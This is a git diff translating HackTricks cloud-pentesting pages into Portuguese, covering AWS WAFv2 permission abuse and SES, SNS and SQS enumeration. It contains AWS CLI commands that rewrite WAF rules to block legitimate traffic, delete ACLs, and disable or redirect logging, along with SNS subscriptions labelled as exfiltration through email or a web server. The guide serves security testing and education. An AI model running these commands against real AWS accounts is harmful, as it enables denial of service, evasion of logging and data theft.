"Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Impacto Potencial**: Acesso não autorizado, vazamentos de dados e potenciais ataques DoS. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +Com essas permissões, um atacante poderia: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- Criar um novo Web ACL, introduzindo regras que permitem o tráfego malicioso ou bloqueiam o tráfego legítimo, tornando efetivamente o WAF inútil ou causando uma negação de serviço. +- Atualizar Web ACLs existentes, podendo modificar regras para permitir ataques como injeção SQL ou script entre sites, que anteriormente estavam bloqueados, ou interromper o fluxo normal de tráfego bloqueando solicitações válidas. +- Deletar um Web ACL, deixando os recursos afetados totalmente desprotegidos, expondo-os a uma ampla gama de ataques na web. > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> Você só pode deletar o **WebACL** especificado se **ManagedByFirewallManager** for falso. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +Os seguintes exemplos mostram como atualizar um Web ACL para bloquear o tráfego legítimo de um conjunto de IPs específico. Se o IP de origem não corresponder a nenhum desses IPs, a ação padrão também seria bloqueá-lo, causando um DoS. -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**Web ACL Original**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Comando para atualizar o Web ACL: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +O arquivo **rule.json** teria a seguinte aparência: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Impacto Potencial**: Acesso não autorizado, vazamentos de dados e potenciais ataques DoS. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +A permissão **`wafv2:AssociateWebACL`** permitiria que um atacante associasse ACLs da web (Listas de Controle de Acesso) com recursos, conseguindo contornar controles de segurança, permitindo que tráfego não autorizado chegasse à aplicação, potencialmente levando a explorações como injeção SQL ou script entre sites (XSS). Por outro lado, com a permissão **`wafv2:DisassociateWebACL`**, o atacante poderia desativar temporariamente as proteções de segurança, expondo os recursos a vulnerabilidades sem detecção. -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +As permissões adicionais seriam necessárias dependendo do tipo de recurso protegido: +- **Associar** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **Desassociar** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**Impacto Potencial**: Segurança de recursos comprometida, aumento do risco de exploração e potenciais interrupções de serviço dentro de ambientes AWS protegidos pelo AWS WAF. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +Um atacante seria capaz de criar, atualizar e deletar os conjuntos de IP gerenciados pelo AWS WAF. Isso poderia ser perigoso, pois poderia criar novos conjuntos de IP para permitir tráfego malicioso, modificar conjuntos de IP para bloquear tráfego legítimo, atualizar conjuntos de IP existentes para incluir endereços IP maliciosos, remover endereços IP confiáveis ou deletar conjuntos de IP críticos que são destinados a proteger recursos críticos. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +O seguinte exemplo mostra como **substituir o conjunto de IP existente pelo conjunto de IP desejado**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**Impacto Potencial**: Acesso não autorizado e bloqueio de tráfego legítimo. #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +Um atacante com essas permissões seria capaz de manipular os conjuntos de padrões de expressão regular usados pelo AWS WAF para controlar e filtrar o tráfego de entrada com base em padrões específicos. +- Criar novos padrões regex ajudaria um atacante a permitir conteúdo prejudicial +- Atualizando os padrões existentes, um atacante conseguiria contornar as regras de segurança +- Deletar padrões que são projetados para bloquear atividades maliciosas poderia levar um atacante a enviar cargas úteis maliciosas e contornar as medidas de segurança. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**Impacto Potencial**: Bypass de controles de segurança, permitindo conteúdo malicioso e potencialmente expondo dados sensíveis ou interrompendo serviços e recursos protegidos pelo AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +Um atacante com a **`wafv2:DeleteLoggingConfiguration`** seria capaz de remover a configuração de registro do Web ACL especificado. Subsequentemente, com as permissões **`wavf2:PutLoggingConfiguration`** e **`iam:CreateServiceLinkedRole`**, um atacante poderia criar ou substituir configurações de registro (após tê-las deletado) para impedir completamente o registro ou redirecionar logs para destinos não autorizados, como buckets do Amazon S3, grupo de logs do Amazon CloudWatch Logs ou um Amazon Kinesis Data Firehose sob controle. -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +Durante o processo de criação, o serviço configura automaticamente as permissões necessárias para permitir que os logs sejam gravados no destino de registro especificado: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** O AWS WAF cria uma política de recurso no grupo de logs do CloudWatch Logs designado. Esta política garante que o AWS WAF tenha as permissões necessárias para gravar logs no grupo de logs. +- **Bucket do Amazon S3:** O AWS WAF cria uma política de bucket no bucket S3 designado. Esta política concede ao AWS WAF as permissões necessárias para fazer upload de logs no bucket especificado. +- **Amazon Kinesis Data Firehose:** O AWS WAF cria um papel vinculado ao serviço especificamente para interagir com o Kinesis Data Firehose. Este papel permite que o AWS WAF entregue logs ao stream do Firehose configurado. > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> É possível definir apenas um destino de registro por web ACL. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**Impacto Potencial:** Visibilidade obscura em eventos de segurança, dificultando o processo de resposta a incidentes e facilitando atividades maliciosas encobertas em ambientes protegidos pelo AWS WAF. #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +Um atacante com essas permissões seria capaz de deletar chaves de API existentes, tornando o CAPTCHA ineficaz e interrompendo a funcionalidade que depende dele, como envios de formulários e controles de acesso. Dependendo da implementação desse CAPTCHA, isso poderia levar a uma bypass de CAPTCHA ou a um DoS se o gerenciamento de erros não estiver configurado corretamente no recurso. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**Impacto Potencial**: Desativar proteções CAPTCHA ou interromper a funcionalidade do aplicativo, levando a violações de segurança e potencial roubo de dados. #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +Um atacante seria capaz de adicionar, modificar ou remover tags de recursos do AWS WAFv2, como ACLs da Web, grupos de regras, conjuntos de IP, conjuntos de padrões regex e configurações de registro. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**Impacto Potencial**: Manipulação de recursos, vazamento de informações, manipulação de custos e interrupção operacional. -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## Referências - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..9f593b71d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,45 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +O Amazon Simple Email Service (Amazon SES) é projetado para **enviar e receber e-mails**. Ele permite que os usuários enviem e-mails transacionais, de marketing ou de notificação de forma eficiente e segura em grande escala. Ele **integra-se bem com outros serviços da AWS**, proporcionando uma solução robusta para gerenciar comunicações por e-mail para empresas de todos os tamanhos. -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +Você precisa registrar **identidades**, que podem ser domínios ou endereços de e-mail que poderão interagir com o SES (por exemplo, enviar e receber e-mails). -### SMTP User - -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: +### Usuário SMTP +É possível conectar-se a um **servidor SMTP da AWS para realizar ações** em vez de usar a API da AWS (ou além dela). Para isso, você precisa criar um usuário com uma política como: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +Então, colete a **chave da API e o segredo** do usuário e execute: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` +É também possível fazer isso a partir do console web da AWS. -It's also possible to do this from the AWS console web. - -### Enumeration +### Enumeração > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> Note que o SES tem 2 APIs: **`ses`** e **`sesv2`**. Algumas ações estão em ambas as APIs e outras estão apenas em uma das duas. ```bash # Get info about the SES account aws sesv2 get-account @@ -117,15 +112,10 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..c9e41d965 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +O Amazon Simple Notification Service (Amazon SNS) é descrito como um **serviço de mensagens totalmente gerenciado**. Ele suporta tanto **comunicações de aplicação para aplicação** (A2A) quanto **comunicações de aplicação para pessoa** (A2P). -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +As principais características para comunicação A2A incluem **mecanismos de publicação/inscrição (pub/sub)**. Esses mecanismos introduzem **tópicos**, cruciais para permitir mensagens **baseadas em push**, de muitos para muitos, com alta taxa de transferência. Este recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma **ampla gama de sistemas assinantes**, facilitando um padrão de mensagens de fanout. -### **Difference with SQS** +### **Diferença com SQS** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. - -### **Enumeration** +**SQS** é um serviço **baseado em fila** que permite comunicação ponto a ponto, garantindo que as mensagens sejam processadas por um **único consumidor**. Ele oferece **entrega de pelo menos uma vez**, suporta filas padrão e FIFO, e permite retenção de mensagens para tentativas e processamento atrasado.\ +Por outro lado, **SNS** é um serviço **baseado em publicação/inscrição**, permitindo comunicação **de um para muitos** ao transmitir mensagens para **múltiplos assinantes** simultaneamente. Ele suporta **vários pontos de inscrição, como e-mail, SMS, funções Lambda e HTTP/HTTPS**, e fornece mecanismos de filtragem para entrega de mensagens direcionadas.\ +Enquanto ambos os serviços permitem desacoplamento entre componentes em sistemas distribuídos, o SQS foca na comunicação em fila, e o SNS enfatiza padrões de comunicação orientados a eventos e de fan-out. +### **Enumeração** ```bash # Get topics & subscriptions aws sns list-topics @@ -24,60 +23,55 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> Note que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser usados (HTTP ou HTTPS não podem ser usados). > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Além disso, mesmo que o `--topic-arn` contenha a região, certifique-se de especificar a região correta em **`--region`** ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região. -#### Unauthenticated Access +#### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### Escalação de Privilégios {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} -#### Post Exploitation +#### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} -#### Persistence +#### Persistência {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} -## References +## Referências - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..dc2fd262a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +O Amazon Simple Queue Service (SQS) é apresentado como um **serviço de enfileiramento de mensagens totalmente gerenciado**. Sua função principal é ajudar na escalabilidade e desacoplamento de microsserviços, sistemas distribuídos e aplicações sem servidor. O serviço é projetado para eliminar a necessidade de gerenciar e operar middleware orientado a mensagens, que pode ser frequentemente complexo e intensivo em recursos. Essa eliminação da complexidade permite que os desenvolvedores direcionem seus esforços para aspectos mais inovadores e diferenciadores de seu trabalho. ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,40 +17,35 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Além disso, mesmo que o `--queue-url` contenha a região, certifique-se de especificar a região correta em **`--region`** ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região. -#### Unauthenticated Access +#### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md {{#endref}} -#### Privilege Escalation +#### Escalação de Privilégios {{#ref}} ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### Post Exploitation +#### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md {{#endref}} -#### Persistence +#### Persistência {{#ref}} ../aws-persistence/aws-sqs-persistence.md {{#endref}} -## References +## Referências - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..c8257be75 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions é um serviço de fluxo de trabalho que permite coordenar e orquestrar vários serviços da AWS em fluxos de trabalho sem servidor. Ao usar o AWS Step Functions, você pode projetar e executar fluxos de trabalho que conectam vários serviços da AWS, como AWS Lambda, Amazon S3, Amazon DynamoDB e muitos mais, em uma sequência de etapas. Este serviço de orquestração fornece uma interface visual de fluxo de trabalho e oferece capacidades de **máquina de estados**, permitindo que você defina cada etapa do fluxo de trabalho de maneira declarativa usando a **Linguagem de Estados da Amazon** (ASL) baseada em JSON. -## Key concepts +## Conceitos-chave -### Standard vs. Express Workflows +### Fluxos de Trabalho Padrão vs. Express -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions oferece dois tipos de **fluxos de trabalho de máquina de estados**: Padrão e Express. -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Fluxo de Trabalho Padrão**: Este tipo de fluxo de trabalho padrão é projetado para processos de longa duração, duráveis e auditáveis. Ele suporta **execução exatamente uma vez**, garantindo que as tarefas sejam executadas apenas uma vez, a menos que as tentativas sejam especificadas. É ideal para fluxos de trabalho que precisam de um histórico de execução detalhado e pode durar até um ano. +- **Fluxo de Trabalho Express**: Este tipo é ideal para tarefas de alto volume e curta duração, com duração de até cinco minutos. Eles suportam **execução pelo menos uma vez**, adequado para tarefas idempotentes, como processamento de dados. Esses fluxos de trabalho são otimizados para custo e desempenho, cobrando com base em execuções, duração e uso de memória. -### States +### Estados -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Os estados são as unidades essenciais das máquinas de estados. Eles definem as etapas individuais dentro de um fluxo de trabalho, podendo realizar uma variedade de funções dependendo de seu tipo: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Tarefa:** Executa um trabalho, muitas vezes usando um serviço da AWS como 